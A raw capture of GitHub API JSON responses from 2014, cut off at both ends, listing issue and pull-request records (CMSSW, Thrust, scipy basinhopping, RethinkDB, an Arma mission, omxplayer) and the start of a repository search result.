bca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/generators-pending","name":"generators-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/geometry-pending","name":"geometry-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/operations-pending","name":"operations-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/pending-signatures","name":"pending-signatures","color":"eb6420"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/tests-pending","name":"tests-pending","color":"fbca04"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/cms-sw/cmssw/milestones/39","labels_url":"https://api.github.com/repos/cms-sw/cmssw/milestones/39/labels","id":578758,"number":39,"title":"CMSSW_7_1_0_pre4","description":"","creator":{"login":"nclopezo","id":1944922,"avatar_url":"https://avatars.githubusercontent.com/u/1944922","gravatar_id":"c37878ac7a56b492e4f8df2a94abbd49","url":"https://api.github.com/users/nclopezo","html_url":"https://github.com/nclopezo","followers_url":"https://api.github.com/users/nclopezo/followers","following_url":"https://api.github.com/users/nclopezo/following{/other_user}","gists_url":"https://api.github.com/users/nclopezo/gists{/gist_id}","starred_url":"https://api.github.com/users/nclopezo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nclopezo/subscriptions","organizations_url":"https://api.github.com/users/nclopezo/orgs","repos_url":"https://api.github.com/users/nclopezo/repos","events_url":"https://api.github.com/users/nclopezo/events{/privacy}","received_events_url":"https://api.github.com/users/nclopezo/received_events","type":"User","site_admin":false},"open_issues":32,"closed_issues":195,"state":"open","created_at":"2014-02-24T15:26:25Z","updated_at":"2014-03-03T00:08:27Z","due_on":"2014-03-03T08:00:00Z"},"comments":125,"created_at":"2014-01-24T22:00:16Z","updated_at":"2014-03-03T03:10:17Z","closed_at":null,"pull_request":{"html_url":"https://github.com/cms-sw/cmssw/pull/2171","diff_url":"https://github.com/cms-sw/cmssw/pull/2171.diff","patch_url":"https://github.com/cms-sw/cmssw/pull/2171.patch"},"body":"Here I have changed the default jet collection for downstream modules from AK5 to AK4. This affects : \r\n* b-tagging\r\n* tau-tagging\r\n* HLT\r\n* PFBRECO\r\n* Type1 MET\r\n* Isolation cones.\r\n\r\nI have not self-ported changes of hard-coded cone sizes from 0.5 to 0.4, except in the Jet RECO packages. There are probably pieces in BTagging and TauTagging code that use cone sizes and must change for consistency. ","score":0.15000954},{"url":"https://api.github.com/repos/thrust/thrust/issues/449","labels_url":"https://api.github.com/repos/thrust/thrust/issues/449/labels{/name}","comments_url":"https://api.github.com/repos/thrust/thrust/issues/449/comments","events_url":"https://api.github.com/repos/thrust/thrust/issues/449/events","html_url":"https://github.com/thrust/thrust/pull/449","id":23604237,"number":449,"title":"Thrust equivalent to std::complex","user":{"login":"FilipeMaia","id":147838,"avatar_url":"https://avatars.githubusercontent.com/u/147838","gravatar_id":"2dabf758ddced52241ac0ca9a5a9f921","url":"https://api.github.com/users/FilipeMaia","html_url":"https://github.com/FilipeMaia","followers_url":"https://api.github.com/users/FilipeMaia/followers","following_url":"https://api.github.com/users/FilipeMaia/following{/other_user}","gists_url":"https://api.github.com/users/FilipeMaia/gists{/gist_id}","starred_url":"https://api.github.com/users/FilipeMaia/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FilipeMaia/subscriptions","organizations_url":"https://api.github.com/users/FilipeMaia/orgs","repos_url":"https://api.github.com/users/FilipeMaia/repos","events_url":"https://api.github.com/users/FilipeMaia/events{/privacy}","received_events_url":"https://api.github.com/users/FilipeMaia/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":39,"created_at":"2013-12-02T21:45:45Z","updated_at":"2013-12-13T22:30:53Z","closed_at":"2013-12-13T21:40:17Z","pull_request":{"html_url":"https://github.com/thrust/thrust/pull/449","diff_url":"https://github.com/thrust/thrust/pull/449.diff","patch_url":"https://github.com/thrust/thrust/pull/449.patch"},"body":"I've put all the code inside thrust/detail/complex. I've also create the unittests and documentation.\r\n\r\nI've ported FreeBSDs c99 complex implementation, as it seems to be the highest quality available.\r\nAll the functions, except for pow, are accurate to within a few ULPs. \r\n\r\nComplex atan() and atanh() require C++11 due to the lack of real atanh() in previous versions.\r\n\r\nI've tested with g++ and clang++ but I didn't have the opportunity to try with msvc as I don't have access to it.","score":0.2484173},{"url":"https://api.github.com/repos/scipy/scipy/issues/335","labels_url":"https://api.github.com/repos/scipy/scipy/issues/335/labels{/name}","comments_url":"https://api.github.com/repos/scipy/scipy/issues/335/comments","events_url":"https://api.github.com/repos/scipy/scipy/issues/335/events","html_url":"https://github.com/scipy/scipy/pull/335","id":7446030,"number":335,"title":"new global optimization algorithm, basinhopping","user":{"login":"js850","id":1587384,"avatar_url":"https://avatars.githubusercontent.com/u/1587384","gravatar_id":"82f48a33b2171e33c287ba17fe24dab1","url":"https://api.github.com/users/js850","html_url":"https://github.com/js850","followers_url":"https://api.github.com/users/js850/followers","following_url":"https://api.github.com/users/js850/following{/other_user}","gists_url":"https://api.github.com/users/js850/gists{/gist_id}","starred_url":"https://api.github.com/users/js850/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/js850/subscriptions","organizations_url":"https://api.github.com/users/js850/orgs","repos_url":"https://api.github.com/users/js850/repos","events_url":"https://api.github.com/users/js850/events{/privacy}","received_events_url":"https://api.github.com/users/js850/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":85,"created_at":"2012-10-09T12:38:25Z","updated_at":"2013-02-03T22:01:33Z","closed_at":"2013-02-03T20:22:12Z","pull_request":{"html_url":"https://github.com/scipy/scipy/pull/335","diff_url":"https://github.com/scipy/scipy/pull/335.diff","patch_url":"https://github.com/scipy/scipy/pull/335.patch"},"body":"Hi, I wrote an implementation of the basinhopping global optimization algorithm and I think it would be a useful addition to scipy.optimize. It's a powerful algorithm, but all the hard work would be done by the minimizers that already exist in scipy.optimize, so the additional code needed is really not very much.\r\n\r\nThe following is from the documentation notes:\r\n\r\nBasin hopping is a random algorithm which attempts to find the global minimum of a smooth scalar function of one or more variables. The algorithm was originally described by David Wales http://www-wales.ch.cam.ac.uk/ . The algorithm is iterative with each iteration composed of the following steps\r\n\r\n 1) random displacement of the coordinates\r\n\r\n 2) local minimization\r\n\r\n 3) accept or reject the new coordinates based on the minimized function\r\n value.\r\n\r\nThis global minimization method has been shown to be extremely efficient on a wide variety of problems in physics and chemistry. It is especially efficient when the function has many minima separated by large barriers. See the cambridge cluster database http://www-wales.ch.cam.ac.uk/CCD.html for database of molecular systems that have been optimized primarily using basin hopping. This database includes minimization problems exceeding 300 degrees of freedom.\r\n\r\nThanks,\r\nJake\r\n\r\np.s. this is my first submission\r\n\r\np.p.s. I'm not totally sure I did all the documentation completely correctly.","score":0.06290573},{"url":"https://api.github.com/repos/TheWhisp/android_device_samsung_msm7x27a-common/issues/35","labels_url":"https://api.github.com/repos/TheWhisp/android_device_samsung_msm7x27a-common/issues/35/labels{/name}","comments_url":"https://api.github.com/repos/TheWhisp/android_device_samsung_msm7x27a-common/issues/35/comments","events_url":"https://api.github.com/repos/TheWhisp/android_device_samsung_msm7x27a-common/issues/35/events","html_url":"https://github.com/TheWhisp/android_device_samsung_msm7x27a-common/issues/35","id":18228199,"number":35,"title":"White Screen at cm10.1 Build 18.07.2013 (G)","user":{"login":"fredhy91","id":4696489,"avatar_url":"https://avatars.githubusercontent.com/u/4696489","gravatar_id":"d96cd8f6dcf06e180a7727ca749f6ab7","url":"https://api.github.com/users/fredhy91","html_url":"https://github.com/fredhy91","followers_url":"https://api.github.com/users/fredhy91/followers","following_url":"https://api.github.com/users/fredhy91/following{/other_user}","gists_url":"https://api.github.com/users/fredhy91/gists{/gist_id}","starred_url":"https://api.github.com/users/fredhy91/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fredhy91/subscriptions","organizations_url":"https://api.github.com/users/fredhy91/orgs","repos_url":"https://api.github.com/users/fredhy91/repos","events_url":"https://api.github.com/users/fredhy91/events{/privacy}","received_events_url":"https://api.github.com/users/fredhy91/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/TheWhisp/android_device_samsung_msm7x27a-common/labels/bug","name":"bug","color":"fc2929"},{"url":"https://api.github.com/repos/TheWhisp/android_device_samsung_msm7x27a-common/labels/not-on-all-devices","name":"not-on-all-devices","color":"207de5"}],"state":"open","assignee":null,"milestone":null,"comments":124,"created_at":"2013-08-19T08:35:56Z","updated_at":"2014-02-28T11:46:43Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Thank u for ur hard theWhisp, I flash ur new build for cm 10.1 but after i lock my device the home button and the power button only show the white screen and after that only reboot the device that i can do, nothing else. ","score":0.22806776},{"url":"https://api.github.com/repos/rethinkdb/rethinkdb/issues/1096","labels_url":"https://api.github.com/repos/rethinkdb/rethinkdb/issues/1096/labels{/name}","comments_url":"https://api.github.com/repos/rethinkdb/rethinkdb/issues/1096/comments","events_url":"https://api.github.com/repos/rethinkdb/rethinkdb/issues/1096/events","html_url":"https://github.com/rethinkdb/rethinkdb/issues/1096","id":16181994,"number":1096,"title":"Proposal: `r.group.map.reduce`","user":{"login":"coffeemug","id":48436,"avatar_url":"https://avatars.githubusercontent.com/u/48436","gravatar_id":"fedc0598a0eae3f7eac98ea84e597f20","url":"https://api.github.com/users/coffeemug","html_url":"https://github.com/coffeemug","followers_url":"https://api.github.com/users/coffeemug/followers","following_url":"https://api.github.com/users/coffeemug/following{/other_user}","gists_url":"https://api.github.com/users/coffeemug/gists{/gist_id}","starred_url":"https://api.github.com/users/coffeemug/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coffeemug/subscriptions","organizations_url":"https://api.github.com/users/coffeemug/orgs","repos_url":"https://api.github.com/users/coffeemug/repos","events_url":"https://api.github.com/users/coffeemug/events{/privacy}","received_events_url":"https://api.github.com/users/coffeemug/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rethinkdb/rethinkdb/labels/tp%3ARQL_proposal","name":"tp:RQL_proposal","color":"0052cc"}],"state":"closed","assignee":{"login":"mlucy","id":1777134,"avatar_url":"https://avatars.githubusercontent.com/u/1777134","gravatar_id":"5c96c1013fdc26a6d880dd41cdb3af3e","url":"https://api.github.com/users/mlucy","html_url":"https://github.com/mlucy","followers_url":"https://api.github.com/users/mlucy/followers","following_url":"https://api.github.com/users/mlucy/following{/other_user}","gists_url":"https://api.github.com/users/mlucy/gists{/gist_id}","starred_url":"https://api.github.com/users/mlucy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mlucy/subscriptions","organizations_url":"https://api.github.com/users/mlucy/orgs","repos_url":"https://api.github.com/users/mlucy/repos","events_url":"https://api.github.com/users/mlucy/events{/privacy}","received_events_url":"https://api.github.com/users/mlucy/received_events","type":"User","site_admin":false},"milestone":{"url":"https://api.github.com/repos/rethinkdb/rethinkdb/milestones/53","labels_url":"https://api.github.com/repos/rethinkdb/rethinkdb/milestones/53/labels","id":489609,"number":53,"title":"1.12","description":"","creator":{"login":"coffeemug","id":48436,"avatar_url":"https://avatars.githubusercontent.com/u/48436","gravatar_id":"fedc0598a0eae3f7eac98ea84e597f20","url":"https://api.github.com/users/coffeemug","html_url":"https://github.com/coffeemug","followers_url":"https://api.github.com/users/coffeemug/followers","following_url":"https://api.github.com/users/coffeemug/following{/other_user}","gists_url":"https://api.github.com/users/coffeemug/gists{/gist_id}","starred_url":"https://api.github.com/users/coffeemug/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coffeemug/subscriptions","organizations_url":"https://api.github.com/users/coffeemug/orgs","repos_url":"https://api.github.com/users/coffeemug/repos","events_url":"https://api.github.com/users/coffeemug/events{/privacy}","received_events_url":"https://api.github.com/users/coffeemug/received_events","type":"User","site_admin":false},"open_issues":16,"closed_issues":124,"state":"open","created_at":"2013-11-19T09:47:10Z","updated_at":"2014-03-01T13:33:18Z","due_on":"2014-02-22T08:00:00Z"},"comments":122,"created_at":"2013-06-30T00:15:29Z","updated_at":"2014-02-21T02:27:20Z","closed_at":"2014-02-21T00:27:06Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This proposal includes a number of changes.\r\n\r\n* Introduce the `group` command\r\n\r\n```javascript\r\nr.table('foo').group('a', 'b').typeOf()\r\n// GROUPEDSTREAM\r\n\r\nr.table('foo').group('a', 'b')\r\n// Errors: `GROUPEDSTREAM is an opaque type`\r\n\r\nr.table('foo').group('a', 'b').map(...).typeOf()\r\n// GROUPEDSTREAM\r\n\r\n// Finally, google/hadoop-style map reduce is accessible to regular people:\r\nr.table('foo').group('a', 'b').map(...).reduce(...).typeOf()\r\n// STREAM\r\n```\r\n\r\n* Get rid of base in reduce, and make reduce variadic. Have reduce accept either reduction functions, or aggregators:\r\n\r\n```javascript\r\nr.table('users').group('location').reduce(r.sum('age'),\r\n r.avg('age'),\r\n function(i, j) { return ...; })\r\n// returns [{group: ..., reduction1: ..., reduction2: ..., reduction3: ...}]\r\n```\r\n\r\n* Allow naming groups and reductions because calling them `group` and `reduction1`, `reduction2` isn't extremely useful.\r\n\r\n```javascript\r\nr.table('users').group('location', {'name': location}).\r\n reduce(r.sum('age', {name: 'age_sum'}),\r\n r.avg('age', {name: 'age_avg'}),\r\n function(i, j) { return ...; } // TODO: not sure how to name this. Ideas?\r\n )\r\n// returns [{location: ..., age_sum: ..., age_avg: ..., ???: ...}]\r\n```\r\n\r\n* Consider dropping `groupBy`. We might want to consider leaving it as sugar for `.group.reduce`, because people are used to things like `groupBy`. I'm not 100% sure what to do here.","score":0.042895522},{"url":"https://api.github.com/repos/JoSchaap/GoT_Wasteland_V2.Stratis/issues/85","labels_url":"https://api.github.com/repos/JoSchaap/GoT_Wasteland_V2.Stratis/issues/85/labels{/name}","comments_url":"https://api.github.com/repos/JoSchaap/GoT_Wasteland_V2.Stratis/issues/85/comments","events_url":"https://api.github.com/repos/JoSchaap/GoT_Wasteland_V2.Stratis/issues/85/events","html_url":"https://github.com/JoSchaap/GoT_Wasteland_V2.Stratis/issues/85","id":17296637,"number":85,"title":"v2.3 discussion - please use this for discussion","user":{"login":"JoSchaap","id":2301588,"avatar_url":"https://avatars.githubusercontent.com/u/2301588","gravatar_id":"0049478f655910571a6b6b323e169bb9","url":"https://api.github.com/users/JoSchaap","html_url":"https://github.com/JoSchaap","followers_url":"https://api.github.com/users/JoSchaap/followers","following_url":"https://api.github.com/users/JoSchaap/following{/other_user}","gists_url":"https://api.github.com/users/JoSchaap/gists{/gist_id}","starred_url":"https://api.github.com/users/JoSchaap/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JoSchaap/subscriptions","organizations_url":"https://api.github.com/users/JoSchaap/orgs","repos_url":"https://api.github.com/users/JoSchaap/repos","events_url":"https://api.github.com/users/JoSchaap/events{/privacy}","received_events_url":"https://api.github.com/users/JoSchaap/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/JoSchaap/GoT_Wasteland_V2.Stratis/labels/bug","name":"bug","color":"fc2929"},{"url":"https://api.github.com/repos/JoSchaap/GoT_Wasteland_V2.Stratis/labels/enhancement","name":"enhancement","color":"84b6eb"}],"state":"closed","assignee":{"login":"JoSchaap","id":2301588,"avatar_url":"https://avatars.githubusercontent.com/u/2301588","gravatar_id":"0049478f655910571a6b6b323e169bb9","url":"https://api.github.com/users/JoSchaap","html_url":"https://github.com/JoSchaap","followers_url":"https://api.github.com/users/JoSchaap/followers","following_url":"https://api.github.com/users/JoSchaap/following{/other_user}","gists_url":"https://api.github.com/users/JoSchaap/gists{/gist_id}","starred_url":"https://api.github.com/users/JoSchaap/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JoSchaap/subscriptions","organizations_url":"https://api.github.com/users/JoSchaap/orgs","repos_url":"https://api.github.com/users/JoSchaap/repos","events_url":"https://api.github.com/users/JoSchaap/events{/privacy}","received_events_url":"https://api.github.com/users/JoSchaap/received_events","type":"User","site_admin":false},"milestone":{"url":"https://api.github.com/repos/JoSchaap/GoT_Wasteland_V2.Stratis/milestones/5","labels_url":"https://api.github.com/repos/JoSchaap/GoT_Wasteland_V2.Stratis/milestones/5/labels","id":368680,"number":5,"title":"v2.3","description":null,"creator":{"login":"JoSchaap","id":2301588,"avatar_url":"https://avatars.githubusercontent.com/u/2301588","gravatar_id":"0049478f655910571a6b6b323e169bb9","url":"https://api.github.com/users/JoSchaap","html_url":"https://github.com/JoSchaap","followers_url":"https://api.github.com/users/JoSchaap/followers","following_url":"https://api.github.com/users/JoSchaap/following{/other_user}","gists_url":"https://api.github.com/users/JoSchaap/gists{/gist_id}","starred_url":"https://api.github.com/users/JoSchaap/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JoSchaap/subscriptions","organizations_url":"https://api.github.com/users/JoSchaap/orgs","repos_url":"https://api.github.com/users/JoSchaap/repos","events_url":"https://api.github.com/users/JoSchaap/events{/privacy}","received_events_url":"https://api.github.com/users/JoSchaap/received_events","type":"User","site_admin":false},"open_issues":0,"closed_issues":35,"state":"open","created_at":"2013-07-02T09:24:02Z","updated_at":"2013-08-30T09:35:08Z","due_on":null},"comments":121,"created_at":"2013-07-27T10:40:19Z","updated_at":"2013-08-30T09:35:08Z","closed_at":"2013-08-30T09:35:08Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"*** Discusscion thread ***\r\n\r\nplease only discuss here and use the new issue button to report bugs with a full discription and steps to reproduce them\r\n\r\n\r\n\r\n\r\nFirst things first, thanks all for testing, sadly something came up (family thing) so i wasn't able to get any work done yesterday.\r\nWhat i did find out is that there's more things to fix than i initially thought last night..\r\n\r\nThe list of issues to fix is below:\r\n\r\n[Fixed] - general store broken \r\n\r\n[Fixed] - briefing missing some line breaks\r\n\r\n[Fixed] - increase radius of dead player cleanup (items tend to roll away)\r\n\r\n[WontChange-isOK] - The 'you have died from starvation/hunger' hints stay on for too long (decrease its duration)\r\n\r\n[Fixed] - investigate an issue where players are randomly spawned mid air in limbo when clicking random (findsafepos failing again?)\r\n\r\n[Fixed/WorksAsIntended] - investigate iniDB counter in diag_log 'x objects saved' gets stuck and only increases , should be set to 0 after saving\r\n\r\n[Fixed] - investigate server cleanup counter in diag_log '9 dead players 34 AI and 30 clutterred items from the dead have been cleaned up' the numbers are no longer re-setting to 0\r\n\r\n[Fixed] - revert to the old vehicle.sqf to see if it fixes the newly added logspam\r\n\r\n Error in expression \r\n 20:30:36 Error position: <_towedUnit) then\r\n {\r\n detach _towedUnit;\r\n _t>\r\n Error Undefined variable in expression: _towedunit\r\n mpmissions\\__cur_mp.Stratis\\server\\functions\\vehicle.sqf, line 139\r\n\r\n[Fixed] - A new findsafepos issue has introduced itself?, I thought i got rid of this..\r\n\r\n Error in expression \r\n Error position: <_objDist, 0, _maxGradient, _objDist max >\r\n Error Undefined variable in expression: _objdist\r\n File A3\\functions_f\\misc\\fn_findSafePos.sqf, line 100\r\n Error in expression <};\r\n };\r\n _pos = [_markerPos, 2, 45, ( if (_type == 1) then { 2 } else { 5 } ), 0, >\r\n Error position: <_type == 1) then { 2 } else { 5 } ), 0, >\r\n Error Undefined variable in expression: _type\r\n File mpmissions\\__cur_mp.Stratis\\server\\spawning\\vehicleCreation.sqf, line 30\r\n Error in expression \r\n Error position: <_objDist, 0, _maxGradient, _objDist max >\r\n Error Undefined variable in expression: _objdist\r\n File A3\\functions_f\\misc\\fn_findSafePos.sqf, line 100\r\n\r\n[Fixed] - various new undefined variable spam in rpt (not sure why bis changed this..)\r\n\r\n Cannot create non-ai vehicle ,\r\n Error in expression <50);\r\n _car setDamage (random 0.50);\r\n if (_type in [0,1]) then\r\n {\r\n _car setHit [\"whe>\r\n Error position: <_type in [0,1]) then\r\n {\r\n _car setHit [\"whe>\r\n Error Undefined variable in expression: _type\r\n File mpmissions\\__cur_mp.Stratis\\server\\spawning\\vehicleCreation.sqf, line 44\r\n \r\n Error in expression \r\n Error position: <_vehicle setVehicleLock \"UNLOCKED\";\r\n _veh>\r\n Error Undefined variable in expression: _vehicle\r\n File mpmissions\\__cur_mp.Stratis\\server\\missions\\mainMissions\\mission_Convoy.sqf, line 137\r\n\r\n[Fixed] - Main mission: coastal patrol, remove the SDV it keeps getting beached by the AI\r\n** investigate why AI tends to beach the boat when engaging players\r\n\r\n[Fixed] - extend the time between loot re-spawns and increase precision\r\n\r\n[Fixed] - missions no longer delete blown up vehicles..\r\n\r\n Error in expression <%1\",_missionType];\r\n } else {\r\n if ((damage _vehicle) == 1) then {\r\n deleteVehicle _ve>\r\n Error position: <_vehicle) == 1) then {\r\n deleteVehicle _ve>\r\n Error Undefined variable in expression: _vehicle\r\n File mpmissions\\__cur_mp.Stratis\\server\\missions\\mainMissions\\mission_Coastal_Convoy.sqf, line 180\r\n\r\n[Fixed] - Clientsided errorspam when in a group and looking at a group member (screen shots below)\r\n[Fixed] - clientsided errorspam when in bluefor/opfor and looking at a group member\r\n(screen shots below)\r\n\r\n[Fixed] - check if bis_fnc_rsclayer or fn_dynamictext has been changed (sometimes causes an error)\r\n\r\n[Fixed] - client sided error message when picking up money while to far away from it (screenshot below)\r\n\r\n[Should-be-Fixed(TEST!)] - newplayericons ocasionally still drops a clientsided blackbox error about an undefined hud_icon (see jackiechan image below)\r\n\r\n[Fixed] - old undefined variable error is back when you stop spectating a player (probably overwritten my own fixes)\r\n\r\n![2013-07-26_00010](https://f.cloud.github.com/assets/2301588/866722/e090a66e-f6a8-11e2-81cf-844f9b4bc3ce.jpg)\r\n![2013-07-26_00011](https://f.cloud.github.com/assets/2301588/866723/e094604c-f6a8-11e2-822b-6e95f4d1768f.jpg)\r\n![2013-07-25_00004](https://f.cloud.github.com/assets/2301588/866724/e09294d8-f6a8-11e2-8dcd-97273ca5c4ee.jpg)\r\n![2013-07-26_00008](https://f.cloud.github.com/assets/2301588/866725/e09353dc-f6a8-11e2-8cd9-4991df41a203.jpg)\r\n![2013-07-26_00012](https://f.cloud.github.com/assets/2301588/866726/e091ced6-f6a8-11e2-8587-ee8cfb202aeb.jpg)\r\n![2013-07-26_00009](https://f.cloud.github.com/assets/2301588/866727/e096ac30-f6a8-11e2-91e7-c26d0b96703f.jpg)\r\n![2013-07-26_00013](https://f.cloud.github.com/assets/2301588/866728/e0a2e07c-f6a8-11e2-9a38-7f0b25bd94ba.jpg)\r\n![2013-07-26_00018](https://f.cloud.github.com/assets/2301588/866730/e0a48576-f6a8-11e2-9c1b-aadb8063129c.jpg)\r\n![2013-07-26_00014](https://f.cloud.github.com/assets/2301588/866729/e0a73794-f6a8-11e2-8f1f-4f922b395fdf.jpg)\r\n![2013-07-26_00019](https://f.cloud.github.com/assets/2301588/866731/e0a53f0c-f6a8-11e2-8910-d11544f663ad.jpg)\r\n![2013-07-26_00020](https://f.cloud.github.com/assets/2301588/866732/e0a418c0-f6a8-11e2-9023-7c6c8ca1b8dd.jpg)\r\n![2013-07-27_00004](https://f.cloud.github.com/assets/2301588/866733/e0aa24ea-f6a8-11e2-9f20-4b68d3445d10.jpg)\r\n![jackie-chan-meme](https://f.cloud.github.com/assets/2301588/866735/ec5c3a76-f6a8-11e2-9d51-2db78038e835.jpg)\r\n","score":0.09803598},{"url":"https://api.github.com/repos/popcornmix/omxplayer/issues/12","labels_url":"https://api.github.com/repos/popcornmix/omxplayer/issues/12/labels{/name}","comments_url":"https://api.github.com/repos/popcornmix/omxplayer/issues/12/comments","events_url":"https://api.github.com/repos/popcornmix/omxplayer/issues/12/events","html_url":"https://github.com/popcornmix/omxplayer/issues/12","id":16376966,"number":12,"title":"OMXPlayer randomly hangs","user":{"login":"cjsoftuk","id":2492472,"avatar_url":"https://avatars.githubusercontent.com/u/2492472","gravatar_id":"870dcf43f96660c93185fdcaad4e74c4","url":"https://api.github.com/users/cjsoftuk","html_url":"https://github.com/cjsoftuk","followers_url":"https://api.github.com/users/cjsoftuk/followers","following_url":"https://api.github.com/users/cjsoftuk/following{/other_user}","gists_url":"https://api.github.com/users/cjsoftuk/gists{/gist_id}","starred_url":"https://api.github.com/users/cjsoftuk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cjsoftuk/subscriptions","organizations_url":"https://api.github.com/users/cjsoftuk/orgs","repos_url":"https://api.github.com/users/cjsoftuk/repos","events_url":"https://api.github.com/users/cjsoftuk/events{/privacy}","received_events_url":"https://api.github.com/users/cjsoftuk/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":118,"created_at":"2013-07-04T17:56:43Z","updated_at":"2014-02-25T08:55:20Z","closed_at":"2014-02-24T20:45:54Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Got a project that I can't disclose much info about, unfortunately, however.....\r\nWe use omxplayer and Raspberry Pi as part of the project, and we play *lots* of videos, back-to-back (i.e. OMXPlayer quits, and our project starts a new one almost immediately).\r\n\r\nHowever, from time to time (usually within an hour), OMXPlayer will hang.\r\nWe do have a custom kernel we use, which I can post the .config for later today and I plan to swap back to stock kernel if the issue recurs again today (I'm currently in the middle of doing live demos to prospective customers). Other than the custom kernel, we're up to date as far as the bootloader goes and all other packages (inc OMXPlayer - 0.3.0 installed to try and fix this issue).\r\n\r\nUsually, the hang will occur at the end of the video. OMXPlayer doesn't quit, doesn't print any messages to the log.\r\n\r\nWe're invoking omxplayer as follows:\r\nDISPLAY=:0 /usr/bin/omxplayer -o local --win \"0 0 160 96\" /content/file.mp4 ; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('cache-control', 'no-cache'), ('date', 'Mon, 03 Mar 2014 04:33:02 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1393821241')] {"total_count":2723,"items":[{"id":3043012,"name":"Github-Auto-Deploy","full_name":"logsol/Github-Auto-Deploy","owner":{"login":"logsol","id":692826,"avatar_url":"https://avatars.githubusercontent.com/u/692826","gravatar_id":"4e9843f5413444bb9598368645884ae2","url":"https://api.github.com/users/logsol","html_url":"https://github.com/logsol","followers_url":"https://api.github.com/users/logsol/followers","following_url":"https://api.github.com/users/logsol/following{/other_user}","gists_url":"https://api.github.com/users/logsol/gists{/gist_id}","starred_url":"https://api.github.com/users/logsol/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/logsol/subscriptions","organizations_url":"https://api.github.com/users/logsol/orgs","repos_url":"https://api.github.com/users/logsol/repos","events_url":"https://api.github.com/users/logsol/events{/privacy}","received_events_url":"https://api.github.com/users/logsol/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/logsol/Github-Auto-Deploy","description":"a server that allows you to automatically deploy the latest version of your github project at each git push","fork":false,"url":"https://api.github.com/repos/logsol/Github-Auto-Deploy","forks_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/forks","keys_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/keys{/key_id}","collaborators_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/teams","hooks_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/hooks","issue_events_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/issues/events{/number}","events_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/events","assignees_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/assignees{/user}","branches_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/branches{/branch}","tags_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/tags","blobs_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/git/refs{/sha}","trees_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/git/trees{/sha}","statuses_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/statuses/{sha}","languages_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/languages","stargazers_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/stargazers","contributors_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/contributors","subscribers_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/subscribers","subscription_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/subscription","commits_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/commits{/sha}","git_commits_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/git/commits{/sha}","comments_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/comments{/number}","issue_comment_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/issues/comments/{number}","contents_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/contents/{+path}","compare_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/compare/{base}...{head}","merges_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/merges","archive_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/downloads","issues_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/issues{/number}","pulls_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/pulls{/number}","milestones_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/milestones{/number}","notifications_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/labels{/name}","releases_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/releases{/id}","created_at":"2011-12-24T00:24:05Z","updated_at":"2014-01-13T22:50:59Z